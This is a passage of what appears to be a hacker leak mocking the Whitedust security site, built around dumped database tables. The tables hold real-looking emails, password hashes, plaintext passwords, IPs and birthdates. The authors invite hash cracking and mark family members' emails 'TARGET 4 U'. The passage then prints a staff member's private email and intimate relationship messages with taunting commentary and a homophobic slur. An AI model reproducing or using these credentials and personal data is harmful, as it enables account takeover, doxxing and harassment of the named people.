'http://www.gamesradar.com/us/rss/game_news_feed.jsp');
INSERT INTO `wd3_rssfeeds` VALUES (29, '',
'http://rss.slashdot.org/Slashdot/slashdotGames');
INSERT INTO `wd3_rssfeeds` VALUES (30, '',
'http://darkzero.co.uk/cms/rss.php?section=Gaming');
INSERT INTO `wd3_rssfeeds` VALUES (31, '',
'http://feeds.wired.com/wired/culture/joystick');
INSERT INTO `wd3_rssfeeds` VALUES (32, '',
'http://www.gamesindustry.biz/rss/gamesindustry_news_feed.rss');
INSERT INTO `wd3_rssfeeds` VALUES (33, '',
'http://feeds.joystiq.com/weblogsinc/joystiq');
INSERT INTO `wd3_rssfeeds` VALUES (34, '',
'http://feeds.feedburner.com/2old2play');
INSERT INTO `wd3_rssfeeds` VALUES (35, '',
'http://digg.com/rss/containergaming.xml');
INSERT INTO `wd3_rssfeeds` VALUES (36, '',
'http://www.computerandvideogames.com/rss/feed.php?priority=1&limit=100');
INSERT INTO `wd3_rssfeeds` VALUES (37, '',
'http://scripts.ign.com/rss/ign.all.2.0.xml');
INSERT INTO `wd3_rssfeeds` VALUES (38, '',
'http://www.eurogamer.net/rss/eurogamer_frontpage_feed.rss');
INSERT INTO `wd3_rssfeeds` VALUES (39, '',
'http://www.linux-gamers.net/backend.php');
INSERT INTO `wd3_rssfeeds` VALUES (40, '',
'http://www.gamedaily.com/feeds/content/rss/biz_news.xml');
INSERT INTO `wd3_rssfeeds` VALUES (41, '',
'http://www.gamedaily.com/feeds/content/rss/biz_features.xml');
INSERT INTO `wd3_rssfeeds` VALUES (42, '',
'http://www.gamedaily.com/feeds/content/rss/biz_interviews.xml');
INSERT INTO `wd3_rssfeeds` VALUES (43, '',
'http://www.gamedaily.com/feeds/content/rss/biz_myturn.xml');
INSERT INTO `wd3_rssfeeds` VALUES (44, '',
'http://www.gamedaily.com/feeds/content/rss/biz_media.xml');
INSERT INTO `wd3_rssfeeds` VALUES (45, '',
'http://www.gamedaily.com/feeds/content/rss/biz_adwatch.xml');
INSERT INTO `wd3_rssfeeds` VALUES (46, '',
'http://www.gamedaily.com/feeds/content/rss/biz_toppers.xml');
INSERT INTO `wd3_rssfeeds` VALUES (47, '',
'http://www.gamedaily.com/feeds/content/rss/biz_movers.xml');
INSERT INTO `wd3_rssfeeds` VALUES (48, '',
'http://www.offensivecomputing.net/?q=node/feed');
INSERT INTO `wd3_rssfeeds` VALUES (49, '',
'http://feeds.feedburner.com/darknethackers');
INSERT INTO `wd3_rssfeeds` VALUES (50, '',
'http://www.milw0rm.com/rss.php');
INSERT INTO `wd3_rssfeeds` VALUES (51, '',
'http://www.spacerogue.net/wordpress/?feed=rss2');
INSERT INTO `wd3_rssfeeds` VALUES (52, '',
'http://www.hackwire.com/modules.php?modname=backend&action=rdf');
INSERT INTO `wd3_rssfeeds` VALUES (53, '',
'http://bbs.progenic.com/RssFeed32-0-0-1.aspx');
INSERT INTO `wd3_rssfeeds` VALUES (54, '', 'http://www.2600.com/rss.xml');
INSERT INTO `wd3_rssfeeds` VALUES (55, '',
'http://www.viruslist.com/en/rss/latestnews');
INSERT INTO `wd3_rssfeeds` VALUES (56, '',
'http://www.thc.org/rss.xml.php');
INSERT INTO `wd3_rssfeeds` VALUES (57, '',
'http://www.virusbtn.com/feeds/virus_news.rdf');
INSERT INTO `wd3_rssfeeds` VALUES (58, '',
'http://www.darkreading.com/rss_simple.asp?f_s=296&f_ln=Dark+Reading+News+
Analysis');
INSERT INTO `wd3_rssfeeds` VALUES (59, '',
'http://www.defcon.org/defconrss.xml');
INSERT INTO `wd3_rssfeeds` VALUES (60, '',
'http://www.greekhackers.gr/rss.php?cat_id=12');
INSERT INTO `wd3_rssfeeds` VALUES (61, '',
'http://www.mantisbt.org/bugs/issues_rss.php?');
INSERT INTO `wd3_rssfeeds` VALUES (62, '',
'http://www.i-hacked.com/component/option,com_rss/feed,RSS0.91/no_html,1/'
);

Again, only the most elite and accurate websites are used for information
gathering.

In case you were wondering, that empty second field is "Name".

Who wants hashes to crack?

INSERT INTO `wd3_users` VALUES (1, 'mark.anderson@whitedust.net',
'cronus', 'd519e62be0c9632870a3dd34f5f193cd',
'6d401951bb8c76682f79df0ba253f531', 
1, 1, '83-71-12-6.b-ras1.dbn.dublin.eircom.net', 'Thu, 02 Aug 2007
16:03:25 +0100');
INSERT INTO `wd3_users` VALUES (2, 'mark.hinge@whitedust.net', 'psg',
'2e6775fe7657fdac368f11a98e0a74c1', '5c64a9c224eb17aee23c82d44bf7c9f3', 1,
1, 
'host86-152-13-153.range86-152.btcentralplus.com', 'Fri, 03 Aug 2007
01:10:05 +0100');
INSERT INTO `wd3_users` VALUES (4, 'jake.black@whitedust.net', 'jake',
'2b19bb9fc912317039ace2031505b625', '87fea60da86d4262c2c20561cef903e0', 0,
1,
 '83-71-10-237.b-ras1.', 'Mon, 02 Jul 2007 02:53:37 +010');
INSERT INTO `wd3_users` VALUES (7, 'info@mellow.ie', 'mellowchris',
'a269d17349ce29a77a89c7ec4ed0c3d4', '84fdbab4eb24844c4bded8579217a8ba', 0,
1, '8
3-71-12-6.b-ras1.dbn.dublin.eircom.net', 'Thu, 12 Jul 2007 03:47:45
+0100');
INSERT INTO `wd3_users` VALUES (5, 'retro@hakspace.net', 'retro',
'e0a0d4162d56990708c1830e1683ed70', 'f96d966955379c65b28f94570f358410', 0,
1, 'hos
t86-128-45-114.range86-128.btcentralp', 'Tue, 17 Jul 2007 16:00:24
+0100');
INSERT INTO `wd3_users` VALUES (6, 'liamshee@hushmail.com', 'liamshee',
'187c9c16abffd86e11242405433d849f', 'a5f0b5800a8d4bb7254f24f3860a67fa', 0,
1
, 'host86-128-233-133.range86-128.btcentral', 'Tue, 10 Jul 2007 03:00:16
+0100');
INSERT INTO `wd3_users` VALUES (8, 'voshika@hakspace.net', 'voshika',
'e5271d126841229f857adbf4bc5c9db7', '1100059027b26be1b10d6d64357184c0', 0,
1, 
'host86-128-233-133.range86-128.btcentral', 'Thu, 12 Jul 2007 16:13:41
+0100');
INSERT INTO `wd3_users` VALUES (9, 'whitedust@hakspace.net', 'Whitedust',
'e5271d126841229f857adbf4bc5c9db7', '7b43cd9195cfc4661b0ea9932e3c2189', 0,
 1, 'host86-128-234-65.range86-128.btcentralp', 'Thu, 12 Jul 2007 17:22:10
+0100');
INSERT INTO `wd3_users` VALUES (10, 'hakspace@hakspace.net', 'hakspace',
'e5271d126841229f857adbf4bc5c9db7', '3fd50767862786f59bd99371c314ea39', 0,

1, 'host86-128-234-65.range86-128.btcentralp', 'Thu, 12 Jul 2007 19:19:47
+0100');
INSERT INTO `wd3_users` VALUES (11, 'zachary.ehnerd@whitedust.net',
'ComradeSmack', '4d86b29292a7402d5b3f71343047214b',
'b015749926916024a1d54daec6f
d022e', 1, 1, 'gw.taylorcreek.net', 'Thu, 26 Jul 2007 18:18:26 +0100');
INSERT INTO `wd3_users` VALUES (12, 'adi.zerok@gmail.com', 'Aditya_KS',
'ad7995f8341feebed0ad8725de84f588', 'bd7ace6c2946490bb9be9eeba52e0881', 0,
1
, 'unknown', 'Sun, 29 Jul 2007 13:30:49 +0100');
INSERT INTO `wd3_users` VALUES (13, 'kyrill.poole@gmail.com', 'morts',
'87421107f3614c98c5bdc82aa1404956', '73d2bbcc0ea0a9d462982e4823725410', 0,
1,
 '80-193-38-51.cable.ubr05.hari.blueyonder.co.uk', 'Wed, 25 Jul 2007
22:00:26 +0100');
INSERT INTO `wd3_users` VALUES (14, 'Oracle.GreenDiamond@gmail.com',
'Oracle GreenDiamond', 'e61e3ea9fe90b504c95f65bfcfb4c238',
'3f8c86af14cbf6f55a0
bee274ee4fd32', 0, 1, 'adsl-69-149-39-229.dsl.rcsntx.swbell.net', 'Mon, 23
Jul 2007 12:36:05 +0100');
INSERT INTO `wd3_users` VALUES (15, 'talonprime@gmail.com', 'tprime',
'8b65996657feab900109f216f4b951b6', '18af855ff840c8cf5ca7c1999fddf055', 0,
1, 
'adsl-75-45-93-66.dsl.sfldmi.sbcglobal.ne', 'Wed, 18 Jul 2007 19:32:47
+0100');
INSERT INTO `wd3_users` VALUES (16, 'mark.collins@westgateit.com',
'Nurgle', '73a6fcb016535503154cecf09b787015',
'ae1c721022955c92c9041bea5455f7b7',
 0, 1, '82.109.255.212', 'Wed, 18 Jul 2007 08:47:27 +0100');
INSERT INTO `wd3_users` VALUES (17, 'tetsuharu@gmail.com', 'Tetsuharu',
'c1f51b71d7bde16cecc0fc72261d029f', 'c4b2b1d5077c5f58c0c5eebd50f33a1b', 0,
1
, '48.81.33.65.cfl.res.rr.com', 'Wed, 18 Jul 2007 10:09:49 +0100');
INSERT INTO `wd3_users` VALUES (18, ' phantom1984@mail.gr', 'Dr_Brain',
'ca507447d11585985bfdd414fb3ea852', 'daa5e6c82cd13b861e6caaa253455892', 0,
1
, 'ppp140-071.dsl.hol.gr', 'Thu, 19 Jul 2007 13:02:52 +0100');
INSERT INTO `wd3_users` VALUES (19, 'prgmmstr@hotmail.com', 'mubix',
'1c87b47a691915447b56e9b84a9b6604', '82810223ef6c28001c12aa6fef3799d5', 0,
1, '
c-71-62-129-120.hsd1.va.comcast.net', 'Wed, 01 Aug 2007 11:35:31 +0100');
INSERT INTO `wd3_users` VALUES (20, 'kussic@mac.com', 'Kussic',
'72004baeee8546c67a47cd8e394bcc04', '02512c236fbdb221e30f921fe9782d84', 0,
1, '82.13
3.27.16', 'Thu, 19 Jul 2007 14:13:15 +0100');
INSERT INTO `wd3_users` VALUES (21, 'robohara@robohara.com', 'Flack',
'90a0601580134d67ce16bb82c16d2214', '06424d5bae95b52387d0393895cd8b57', 0,
1, 
'ip72-192-103-188.ok.ok.cox.net', 'Tue, 24 Jul 2007 01:37:29 +0100');
INSERT INTO `wd3_users` VALUES (22, 'ganesh.devarajan@gmail.com',
'64n35h', 'c0810fdb65d4d3b3461c869bc90e6b10',
'919890bb648b9ab434b001ac085a3893', 
0, 1, 'cpe-70-112-202-108.austin.res.rr.com', 'Wed, 18 Jul 2007 13:08:17
+0100');
INSERT INTO `wd3_users` VALUES (23, 'Nox_Deveraux@hotmail.com', 'vioxis',
'0da2e7fa0ba90f4ae031b0d232b8a57a', '0dd98cc3556dba409cc1d2258516ac8a', 0,
 1, '208.29.184.11', 'Sat, 28 Jul 2007 20:16:29 +0100');
INSERT INTO `wd3_users` VALUES (24, 'itek.etx@gmail.com', 'lady_mars',
'5ce75b5b9319d36542ee0d1d494bf621', '13138e07f8891fc8afb1c64850ccefb2', 0,
1,
 '12.5.189.75', 'Mon, 23 Jul 2007 01:53:27 +0100');
INSERT INTO `wd3_users` VALUES (25, 'christopher.hogg@gmail.com', 'cj',
'b4848d476a1040784bb82509af540e38', 'fb14962c5efc961014879d2f78e8ae53', 0,
1
, 'mail.btl.fki-eng.com', 'Tue, 31 Jul 2007 07:50:50 +0100');
INSERT INTO `wd3_users` VALUES (26, 'peter.prickett@whitedust.net',
'chickensoup', 'dd22141acb5ea065acd5ed773729c98f',
'dfdb395b1ab1d8fc5c8293776067
13d7', 0, 1, 'host86-132-153-90.range86-132.btcentralp', 'Sun, 22 Jul 2007
21:18:16 +0100');
INSERT INTO `wd3_users` VALUES (27, 'mukkanyhtio@hotmail.com', 'LiX',
'bb358eb6ff2cc1090440672054575989', '0b84dd49a63297d7dd200afe4d32dffa', 0,
1, 
'host81-132-154-93.range81-132.btcentralp', 'Fri, 20 Jul 2007 21:32:33
+0100');
INSERT INTO `wd3_users` VALUES (28, 'punkle.jones@gmail.com', 'Punkle
Jones', '87515c72861add9379aa60a08016c21a',
'0473fa091f52c806b8c7b3a71f084729'
, 0, 1, 'ppp-70-250-245-58.dsl.okcyok.swbell.net', 'Sat, 28 Jul 2007
14:41:58 +0100');
INSERT INTO `wd3_users` VALUES (29, 'screv@hotmail.com', 'screv',
'4aaad5269c580a6afd8333d73e417b5e', '05add5fc85480184193373e93967d002', 0,
1, '', 
'');
INSERT INTO `wd3_users` VALUES (30, 'todreamofautumn@gmail.com',
'xjessicax', 'ddd956c117486cba6efef9fcc4c38549',
'da04e14d4c039662bc38819516f919f8'
, 0, 1, 'adsl-68-77-83-243.dsl.ipltin.ameritech.n', 'Sat, 21 Jul 2007
17:35:16 +0100');
INSERT INTO `wd3_users` VALUES (31, 'jswray@hotmail.com', 'Hellz UK',
'd8578edf8458ce06fbc5bb76a58c5ca4', '472f465cf3d1097d6ae1cf585d74aa2d', 0,
1, 
'host81-129-181-47.range81-129.btcentralplus.com', 'Wed, 01 Aug 2007
23:56:02 +0100');
INSERT INTO `wd3_users` VALUES (32, 'chunky_lover785@msn.com',
'NewWorldOrder', '6ccbdfc9c41f21c577331ce1b4c5875b',
'8f241d7a198e764c5e95ea9e7697864
c', 0, 1, '5ac9ecc0.bb.sky.com', 'Tue, 31 Jul 2007 22:46:20 +0100');
INSERT INTO `wd3_users` VALUES (33, 'wajkas@gmail.com', 'wajkas',
'70974db54da50ee0fa363c2b20eb46df', '64f75409f09dc05d7944740bbe4ec01f', 0,
1, 'vpn
-gw.litnet.lt', 'Sat, 21 Jul 2007 17:07:13 +0100');
INSERT INTO `wd3_users` VALUES (34, 'necromancer.rob@gmail.com',
'necr0mancer', '43371c754833d6be991831ec2fa04687',
'97840296bac872ae64479b21a65c7da
e', 0, 1, 'c-76-98-108-129.hsd1.nj.comcast.net', 'Fri, 03 Aug 2007
06:16:05 +0100');
INSERT INTO `wd3_users` VALUES (35, 'trammel@cdc-nsf.com', 'trammel',
'd18ead8b5c3dd1dc37ce603455ecf474', '1a692f5451b312dcf328bf074fe6eacd', 0,
1, 
'adsl-75-50-162-175.dsl.lsan03.sbcglobal.', 'Mon, 23 Jul 2007 23:55:49
+0100');
INSERT INTO `wd3_users` VALUES (36, 'kuza55@gmail.com', 'kuza55',
'ab3909976ec026ff9367f8927eded72f', '73595efe84a70c59a8ad7dca28bea02e', 0,
1, '58.
173.121.20', 'Thu, 02 Aug 2007 08:28:00 +0100');
INSERT INTO `wd3_users` VALUES (37, 'quorbeau@gmail.com', 'quorbeau',
'f5dd3bc2d6a0d7211312d316751bb5f3', '6615fa406f966169c453bb870b2a26ae', 0,
1, 
'mo-71-1-109-220.dhcp.embarqhsd.net', 'Tue, 24 Jul 2007 19:28:14 +0100');
INSERT INTO `wd3_users` VALUES (38, 'rdx@chemist.com', 'Sniper223',
'f9e93130b80baea0f396e59d48400505', '2130dd61b965e603e7ddc60f046693d6', 0,
1, 't
gtel18.eastky.net', 'Thu, 02 Aug 2007 13:25:17 +0100');
INSERT INTO `wd3_users` VALUES (39, '', 'el',
'0b42e961db6b8add04df0b01ad5e7283', '', 0, 1,
'83-71-12-6.b-ras1.dbn.dublin.eircom.net', 'Thu, 02 Aug 
2007 01:09:11 +0100');
INSERT INTO `wd3_users` VALUES (40, 'alistair.lamont@gmail.com', 'f15h',
'987061aee7171c3616c0ea82841f54b6', '8bcd0dbeb5544c2af6ad319d5db9dbd7', 0,

1, '63.110.187.40', 'Thu, 02 Aug 2007 22:11:13 +0100');

lol @ chunky_lover785@msn.com. These are the 40 elite hackers that form
the WD hoard! But they aren't really 40. Notice how hakspace@hakspace.net,
voshika@hakspace.net, and whitedust@hakspace.net are all represented
alongside mark.anderson and mark.hinge. Who knows what aliases they have
taken up to try to make it look like they have supporters.

Here, see some of the people reading the WD newsletter!

INSERT INTO `wd_newsletter` VALUES (19, 'sirukin@gmail.com');	  
^^^^ sirukin got right on that
INSERT INTO `wd_newsletter` VALUES (162, '');	
^^^^^ here be not WD parsing skillz
INSERT INTO `wd_newsletter` VALUES (369, 'me@markanderson.ie');
^^^^ omg site to hax
INSERT INTO `wd_newsletter` VALUES (239, '\\"rapidshare login
GENERATOR\\"');  <- lawl these get good
INSERT INTO `wd_newsletter` VALUES (329, 'picklejuice@gmail.com'); 
^^^^ I think we found ourselves a FAGGOT
INSERT INTO `wd_newsletter` VALUES (317, 'msn pirate'); 	    
^^^^^  kid you need an email address!
INSERT INTO `wd_newsletter` VALUES (392, 'mark.anderson@whitedust.net');
^^^^^ pretty late signup for the owner
INSERT INTO `wd_newsletter` VALUES (443, 'redsand@blacksecurity.org'); 
^^^^^^ how blacksecurity keeps up with the scene 


Check out how popular WD is!

INSERT INTO `wd_polls` VALUES (9, 'Should Vulnerability\\''s Be Made
Public?', 'Always', 'At Times', 'Never', '', '', 44, 23, 0, 0, 0);
INSERT INTO `wd_polls` VALUES (5, 'Attending Any Security Cons This
Year?', 'Nope', '1', '2-4', '4+', '', 65, 6, 1, 2, 0);
INSERT INTO `wd_polls` VALUES (10, 'It is acceptable for a security patch
to take...', 'Under a week', 'A week to a month', 'Over a month', '', '', 
48, 22, 3, 0, 0);

Check out the slashdot effect (and now you see why they try to trick
slashdot into carrying their articles):
INSERT INTO `wd_polls` VALUES (24, 'Do You Still Trust Firefox?', 'Yes',
'No', 'Not As Much', '', '', 2414, 346, 75, 0, 0);

Check out some unhashed passwords!

-- Dumping data for table `wd_users`
-- 

INSERT INTO `wd_users` VALUES (7, 0, '|PaRiS|', '01j0uwwx1207', 'Male',
'Mr.', 'Mark', 'Hinge', 'mark.hinge@whitedust.net', 'United Kingdom',
'Inter
net/Web Development', 'Computers/Software/Technology', 'Whitedust
Security', 'Approve purchase', '1-9', 'University / Tertiary', '11/08/80',
'Other'
, 0, 1);
INSERT INTO `wd_users` VALUES (6, 0, 'cronus', '5landl0rd23', 'Male',
'Mr.', 'Mark', 'Anderson', 'mark.anderson@whitedust.net', 'Ireland',
'Internet
/Web Development', 'Computers/Software/Technology', 'Self employed',
'Approve purchase', '1-9', 'High School / Secondary', '18/11/1981',
'Friend/Fam
ily', 0, 1);
INSERT INTO `wd_users` VALUES (44, 0, 'hawkwind', 'guiness', '', NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL,
 NULL);
INSERT INTO `wd_users` VALUES (45, 0, 'cjz0r', 'badgers9191', '', NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL
, NULL);
INSERT INTO `wd_users` VALUES (46, 0, 'smack', 'm00c0w', '', NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NUL
L);

Check out the elite six character password of cDc's latest NSF member!

OK enough DB. Nothing else fun at all, unless you think Whitedust news
pages are fun. And if you do we probably don't want to know you.

It's time for some less Cronus and more psg. 

psg's emails are boring. Lots of spam. Lots of lame
myspace/facebook/securityfocus/eveonline. And he deletes stuff quickly
(score one for psg!). So this is about the only thing to entertain you at
all, our little Hinge family get together for a murder mystery.

Return-path: <christopher.hinge@btinternet.com>
Envelope-to: mark.hinge@whitedust.net
Delivery-date: Sat, 04 Aug 2007 12:06:42 +0100
Received: from web86611.mail.ird.yahoo.com ([217.146.188.208])
	by gorlois.blacknight.ie with smtp (Exim 4.60)
	(envelope-from <christopher.hinge@btinternet.com>)
	id 1IHHSv-0005hu-Ta
	for mark.hinge@whitedust.net; Sat, 04 Aug 2007 12:06:39 +0100
Received: (qmail 50235 invoked by uid 60001); 4 Aug 2007 11:06:37 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=btinternet.com;
 
h=X-YMail-OSG:Received:Date:From:Subject:To:Cc:MIME-Version:Content-Type:C
ontent-Transfer-Encoding:Message-ID;
 
b=ZThooFV+FK1oQRW5zpoubx0AgulTVw9Oa1cIN38tbLEAN9+lpTtLHn+o4ZdQKG008tYtd7pC
KOzT3WOvwIR6UNgobA2xA5kXA4axyd9G0WU3xfvFoHCJHNSjpM1Qt1t1vXCk4+Goqpi5T4
qFDDmu8ipZkO9bXnvlIqtF41kGdt8=;
X-YMail-OSG: nyKJkQkVM1nufe4xjeLFQwzBJRPuN1DmH4nNZrKi
Received: from [86.152.13.153] by web86611.mail.ird.yahoo.com via HTTP;
Sat, 04 Aug 2007 12:06:36 BST
Date: Sat, 4 Aug 2007 12:06:36 +0100 (BST)
From: CHRISTOPHER HINGE <christopher.hinge@btinternet.com> <- TARGET 4 U
Subject: MURDER NIGHT!
To: linda leech <lindajaneleech@hotmail.co.uk>, 	<- TARGET 4 U
  Rosie Hinge <rosiehinge@btinternet.com>,		<- TARGET 4 U
  Mark Hinge <mark.hinge@whitedust.net>
Cc: C Hinge <chrishinge@hotmail.com>			<- TARGET 4 U

Does anyone want the "Murder Mystery AUG 2007.pdf" that came with it?

psg's myspace account is much more exciting. Fun stuff down there.

Let's start by showing off his fake hacker highlights.

########################################

From: st3x

http://www.myspace.com/st3x
Date:	Mar 17, 2007 2:58 PM
Flag as Spam or Report Abuse [ ? ]
Subject:	UK Scene
Body:	Hey man, I just read your reply to my blog comment.

I really want to do everything I can to facilitate the growth of the UK
scene. It's only in the last 6 or 7 months that I've started to look into
the UK scene - I guess there comes a point where everyone wants to
associate themselves with people like themselves through choice rather
than through courtesy formed from proximity.

I've met a few people over hvr, and have tried (and failed) to arrange a
meet in Leeds. I'll be frequenting the Manchester 2600 meet for the first
time this month, but I really want to bring new people to the scene. I
figured that a good place would be to start would be looking at activist
groups in the UK (especially Human rights groups) from all different
areas, introducing them to programs such as Torpark and scatterchat and
getting them to acknowledge the importance of the internet as a means of
communication and organisation. From this collaboration I hope people with
similar interests to ourselves, who shy away from particular 'agendas',
will see that there is a society without such alliances that they can fall
back on. Maybe that last point isn't so clear? When I went to Uni I ended
up getting involved with the Socialist workers party. I felt like I wanted
to get 'involved' and they swept me up. After a while I realised that they
weren't for me and left - only to get approached by the anarchist
federation and then worlwiderevolution. All the time, I felt a need to get
involved, but never found the 'UK Scene' to facilitate it. I've got more
from the US 2600/EU scene in the last 6 months than I did from 3 years in
association with these groups.

You are without a doubt, a key member of the UK scene. I've seen your name
on every portal I've visited, so I need to ask you - do you think I've got
a chance? What do you think of my plan? You are obviously involved a lot
more than me, and if you think my efforts would be put to better use, I'll
happily take my lead from you. I know that sounds a bit sheepish, but I
really want help build the scene, for the scene and the people yet to
come. This is bigger than you and me, but you have been involved for
longer and will have a better understanding of what it needs.

I look forward to hearing from you.

Best wishes,

st3x

########################################

WE HAVE IDENTIFIED THE SPECIFIC BEST DAY OF PSG'S LIFE

From: PSG
Date: Dec 17 2006 7:02 PM



The book came out

and i am in cult of the dead cow.

this is all.

########################################

And that is all of psg's fake hacker lifestyle. The rest is the home life!

########################################

From: PSG
Date: Dec 18 2006 11:14 PM


I cleaned and polished and dusted etc etc as well and mopped (obviously). 
We need a new mop though.

And if you cna get some salad/lettice from tesco's on the way home (there 
is no money in the house) and I will make nice kebab things for dinner. Oh

tomato's as well.

I've fixed the network as well -should- be fine; works on the media 
center.

Where is my lunch hidden?

xxx 

^ The daily activities of a hardcore fake hacker

########################################

From: PSG
Date: Dec 19 2006 12:18 AM


You are getting all my money when I get paid at the end of the month - as 
per.

What you then do with that money is up to you.

Because that is what WE agreed.

Whatever you told Laura has nothing to do with me because it wasn't what I

agreed so don't really want to hear about it :)

x 

^ psg tells his hooker to keep her mouth shut
I ONLY PAID YOU TO SAY I HAVE A BIG DICK NOW STOP TALKING ABOUT LAURA AND
OPEN YOUR MOUTH

########################################

lol! couldn't have put it better myself!

the main point of this is that we'll be fine. worst comes to the worst, we

find somewhere with one nice big bedroom for Â£700 a month including 
bills, which is only Â£100 more than we're paying now, and which we'll 
both soon easily have. and we get all the excitement of moving all over 
again. and she will be back at home with her parents doing her washing. 
again.

checking it out, they even have places exactly like that on our road, and 
the road in between that links our side with jon and claire's side. we're 
going to be fine. she, on the other hand, can do as she damn well pleases 
:)

did you find your food?

smiles and kisses :)

xxx

----------------- Original Message -----------------
From: PSG
Date: Dec 18 2006 11:46 PM


You don't have to explain to me. she's an idiot.

but when push comes to shove...

if she doesn't want to, WE are not the one's who will have to go home :P

we can find somewhere between us on the evidence of the last few months, 
she'll be stright back home... and adrian and her... well

she needs to think before she opens her trap.

^ psg turns around and starts talking about LAURA!

########################################

From: PSG
Date: Dec 19 2006 10:43 PM



Computer less gay now.

I think someone has been snooping around on our network which explains the

problems with the Wireless. Fixed now anyway.

All very odd.

Anyways... tired. Hungry.
x 

------------------------------------------------

From: Maria
Date: Dec 19 2006 6:47 AM


Kick their snooping ass :)

- yes.

Steve just text to find out if your phone's broken :P
I told him you probably just didn't want to talk to him. He thought I was 
joking.

- i ignored calls because i am meh and then he txt wanting to go for lunch

his shout, but i still cannot really be bothered. adrian wanted me to go 
somewhere this evening as well but again, meh.

I'm not hungry at all today, but I'm definitely sleepy. If you want I can 
grab us a film or something on the way home, and we can finish off those 
biscuits after dinner and have a really nice night? Lots of stroking and 
cuddles and stuff?

- that sounds nice.

x

ps. can we pls have no arguing :(

xxx 

^ We haxed you, now your wireless does not work so well!
^ I REQUEST STROKING AND CUDDLES AND NO ARGUING

########################################

See, psg has some relationship problems. It would be cruel of us to paste 
his personal conversations with his girlfriend here.

So here they are:

########################################

----------------- Original Message -----------------
From: PSG
Date: Dec 15 2006 6:39 PM



Not sure what to do tonight :)

Would it be ok if i went back to bed now, I might die.

^ psg does not want sexy time!

I'll msg you when I wake up.

Love you,

Everything is fine.


xxxx

----------------- Original Message -----------------
From: Maria
Date: Dec 15 2006 6:31 PM


Alright, so you're not that bad :P

I know you know I'm there if you need me, but I also know there's a lot of

things that other people can/could understand or help you with that I 
can't, not because I don't want to, but because I don't know how to, and I

don't even know if you'd want me to try. But I'm still there, and if you 
want to even talk or anything I'm happy to listen, although I can't help.

As for this week, I'm proud of you, and you know I am. I'm sorry I've had 
worky stuff going on as well, so I haven't necessarily voiced it as much 
as I maybe should have. I want you to feel happy, because you're amazing 
and you deserve to :)

And please stop saying you think I'm thinking about leaving you. I know we

fight and stuff, but you're the best thing to ever happen to me, because 
you're the only person who would give me the chance to settle down and 
relax, even though I'm not the easiest person to deal with sometimes, and 
I fully acknowledge this. I don't think anyone else could have done.

The only thing you said wrong there was that i KNOW you want me. I don't. 
As far as we go, that's the only thing I need reassurance on, ever. I know

we will fix this eventually, and I know you've got a lot else going on, 
and I know I'm probably focusing on this because everything else is SO 
perfect, but maybe thats just what I do! :)

The only reason I tried to explain to you how personally I take it is so 
you know why I react the way I do, and you understand how upset I get just

so you can tread gently around it and avoid any arguments...it wasn't 
meant to be any sort of personal attack on you.

I'm just a bit scared by the idea of everything being fine, cos then 
things can only really get worse. I'm negative, and I'm sorry.

I want all that stuff as much as, if not more than you do.

Wow. You're amazing. And I think I love you more, I' just much worse at 
showing it! :)

You wanna go to the pub tonight and then just go home? I mean, if you want

other people to come back that's cool, but I'm up for drinking then coming

home if you are? Feel free to pick up a bottle of something today if 
you're out so we canstart before we leave!

xxx

----------------- Original Message -----------------
From: PSG
Date: Dec 15 2006 6:07 PM


Just relax... don't try. You're here and nice and safe with me; you know I

wouldn't do anything to actually hurt you, you know I will always be 
here... try not to focus on the one thing that isn't 100%. I have never 
tried so hard to be such a good boyfriend, indeed friend to someone. I 
love you.

I am over whatever problems I had now; I just want you to feel like you 
can behave normally and don't have to plan things or get overly upset when

the plan you've made doesn't go exactly the way you thought it would; you 
can have me for the rest of your life; a few nights, even weeks will make 
little difference... this problem will sort itself out over time being as 
it is born out of pervious circumstances (both of ours).

^ lol we'll see about that!

I understand you want to come home and things just happen and tbh I'd like

that too; not overly comfortable with the hippo on the sofa around but tbh

I could easily get over that! But please please please try to understand 
that I have a lot going on work wise etc atm and although I am cool calm 
and collected on the outside you can't even imagine the mess in here... It

takes me a while to wind down after work. I am currently redrawing up a 
lot of the rules and direction I had in life; to incorporate a few new 
feelings I have, many of them to do with you (see later on in this msg).

Someone very very close to me died less than two months ago; I am still 
finding that hard to deal with, in many respects as I am the friend other 
people go to when they need to talk, I tend not to talk to them about my 
issues, on some levels I feel like I don't have anyone to talk to anymore.

And I know you'd do anything to help me :) but I just need an external 
kick up the ass sometimes and I am having to get used to the fact that the

person I used to rely on to do that isn't here anymore.

^ So you talk about your issues online to other myspace ladies!

I miss them. It's going to take time.

In the last week I achieved two of my major ambitions in life; and I think

I deserve to be able to feel a little happier about them than I do this 
morning. What I've done this week, to me, is like being chosen for the 
Olympics if I were a runner or elected to parliament; it justify's 
everything iv've ever done and sacarificed to get here.

^ Those two ambitions were End of Dayz being published and the cDc invite!
^ psg needs to achieve some real life goals

Sex isn't a big deal atm because I have so much going on; but I garuntee 
you it will be again! OBVIOUSLY! Deep down you KNOW I want you.

And with all due respect, the fact I want to have sex with you is NOT the 
reason you are my girlfriend. The reason you are my girlfriend is 
everything else about you that I love. The fact I find you very attractive

(Random Fit Girl) is part of that yes, but it's not the major reason I am 
with you.

I am with you because of the person you are not what you look like.

You make me want to have babies and weddings and a patio and matching 
dinner sets. No one else has ever and likely will ever manage that; it's a

part of me I did not think existed. I'd give up everything to make that 
happen - you and me are the most stabilising reassuring thing that has 
ever happened to me.

You're not an idiot, but you do just need to trust me and stop worrying so

much - but I can wait for you to do that.

^ Trusting psg is bad, we will see!

I just need you to be gentle and understanding back sometimes when I lack 
in certain areas.

I love you more xxx 

########################################

Three months later the problem was not resolved!

Remember that the _bottom_ post is the first.

########################################

I wasn't asking for a well structured argument from you. I'm already well
aware that you're an incredible boyfriend, and that sometimes you just w
ant to talk, etc, and I appreciate that a hell of a lot more than I think
you realise. I think any girl would.

All I was asking for was for you to understand why I get so upset, and why
I hate being scheduled in for the end of the night, just in case you HA
PPEN to feel like it then. Hows about you try just relaxing, thinking
about it, and maybe let someone else make you WANT to do things like that?

Or even if you don't want that, try thinking that maybe the other person
might quite like it if you just showed them that sort of attention, and p
referably not on the one night they're incapably drunk? I don't think any
couple ever got by on the premise that it's always one person's entire c
hoice what happens and when. People don't always want the same thing at
the same time. That's a human fact, shouldn't be something that's allowed 
